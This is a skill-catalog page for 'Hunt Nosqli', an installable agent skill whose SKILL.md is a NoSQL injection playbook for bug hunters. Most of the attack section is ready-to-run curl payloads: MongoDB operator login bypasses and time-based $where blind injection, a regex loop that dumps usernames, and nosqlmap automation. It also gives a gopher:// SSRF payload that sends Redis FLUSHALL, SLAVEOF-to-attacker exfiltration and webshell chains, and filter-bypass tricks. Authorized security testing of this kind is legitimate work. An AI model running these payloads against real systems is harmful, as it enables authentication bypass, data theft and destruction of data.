Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
elementalsouls avatar

Hunt Nosqli

  • 54 installs
  • 3.3k repo stars
  • Updated August 3, 2026
  • elementalsouls/claude-bughunter

Hunt NoSQL injection in MongoDB, CouchDB, and Redis targets including operator injection, auth bypass, and data dump.

About

Guides NoSQL injection testing using MongoDB operators ($where, $regex, $ne), CouchDB, and Redis command injection for auth bypass and data extraction. A hunter uses it when the target runs MongoDB/Mongoose or shows NoSQL error messages.

  • MongoDB operator injection: $where, $regex, $gt, $ne
  • Auth bypass and data dump via NoSQLi

Hunt Nosqli by the numbers

  • 54 all-time installs (skills.sh)
  • Ranked #1,278 of 2,203 Security skills by installs in the Skillselion catalog
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-nosqli

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs54
repo stars3.3k
Last updatedAugust 3, 2026
Repositoryelementalsouls/claude-bughunter

What it does

Hunt NoSQL injection in MongoDB, CouchDB, and Redis targets including operator injection, auth bypass, and data dump.

Files

SKILL.mdMarkdownGitHub ↗

HUNT-NOSQLI — NoSQL Injection

Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

Highest-value chains:

  • MongoDB auth bypass{"username": {"$gt": ""}, "password": {"$gt": ""}} logs in as first user in collection (usually admin)
  • $where JS injection — if $where is enabled: blind injection → data exfil
  • Redis command injection — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
  • Elasticsearch injection — _search endpoint with Groovy script injection (pre-5.0) → RCE

---

Attack Surface Signals

URL & Param Patterns

/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password

Stack Signals

SignalVector
MongoDB error messages in responseOperator injection
mongoose / monk in JS bundlesODM patterns
X-Powered-By: ExpressNode.js + MongoDB common stack
CouchDB/_utils UI exposedFuton/Fauxton admin
Redis port 6379 open (via SSRF)CONFIG SET / SLAVEOF
Elasticsearch :9200 openScript injection

---

Step-by-Step Hunting Methodology

Phase 1 — Auth Bypass (MongoDB)

# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'

Phase 2 — URL Parameter Injection

# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="

Phase 3 — $where Blind Injection (time-based)

# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'

Phase 4 — Data Dump via Regex

# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done

Phase 5 — Automation

# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2

Phase 6 — Redis via SSRF

# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil

---

Bypass Table

DefenseBypass
JSON.parse rejects objectsUse array: password[$ne]=x (URL params)
Sanitizes $Unicode: $gt
Blocks operator keysNested objects deeper in structure

---

Chain Table

NoSQLi findingChain toImpact
Auth bypassAdmin panel accessFull admin control
User enum via regexCredential stuffingMass ATO
$where enabledArbitrary JS in DB processData exfil or DoS
Redis via SSRFCONFIG SET / SLAVEOFWebshell or data exfil

---

Validation

✅ Auth bypass: logged in without valid credentials, received valid session token ✅ Data dump: returned users/documents you shouldn't have access to ✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

Severity:

  • Auth bypass as admin: Critical
  • User collection dump: High
  • Blind injection (no useful exfil): Medium

Related skills

Securityappsec

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.